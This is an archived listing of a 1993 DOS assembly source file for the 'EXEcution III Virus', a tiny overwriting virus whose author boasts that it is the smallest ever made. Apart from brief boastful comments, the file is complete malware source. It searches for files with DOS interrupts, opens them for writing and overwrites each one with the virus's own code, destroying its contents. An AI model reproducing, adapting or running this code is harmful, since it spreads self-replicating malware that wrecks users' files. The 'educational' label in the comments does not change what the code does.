home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 23.ASM < prev    next >
Assembly Source File  |  1995-05-23  |  1KB  |  38 lines

  1. ; The EXEcution III Virus.
  2. ;
  3. ; Well, you're now the prouw owner of the smallest virus ever made!
  4. ; only 23 bytes long and ofcourse again very lame..
  5. ; But what the heck, it's just an educational piece of code!!
  6. ;
  7. ; (C) 1993 by [DαRkRαY] of TridenT (Ooooooranje Boooooooven!)
  8. ;
  9. ; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his
  10. ; nice try to make the smallest (27 bytes and 25 bytes) virus... gotcha!! ;-))
  11. ;
  12. ; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions
  13. ; it might not work!
  14.  
  15. _CODE   SEGMENT
  16.         ASSUME  CS:_CODE
  17.  
  18.         ORG     100h
  19. START:                                 ; That's where we're starting...
  20.         FILE    DB '*.*',0h            ; Dummy instruction, SUB's 0FFh from CH
  21.  
  22.         MOV     AH,4Eh                 ; Let's search!
  23. DO_IT:  MOV     DX,SI                  ; Make DX = 100h (offset file)
  24.         INT     21h                    ; Search now dude!
  25.  
  26.         MOV     AX,3D01h               ; Hmm, infect that fucking file!
  27.         MOV     DX,9Eh                 ; Name is at DS:[9Eh]
  28.         INT     21h                    ; Go do it!
  29.         XCHG    BX,AX                  ; Put the handle in BX
  30.  
  31.         MOV     AH,40h                 ; Write myself!
  32.         JMP     DO_IT                  ; Use other routine
  33.  
  34. _CODE   ENDS
  35.         END     START
  36.  
  37. ; If you don't like my english: Get lost, you can understand it!
  38.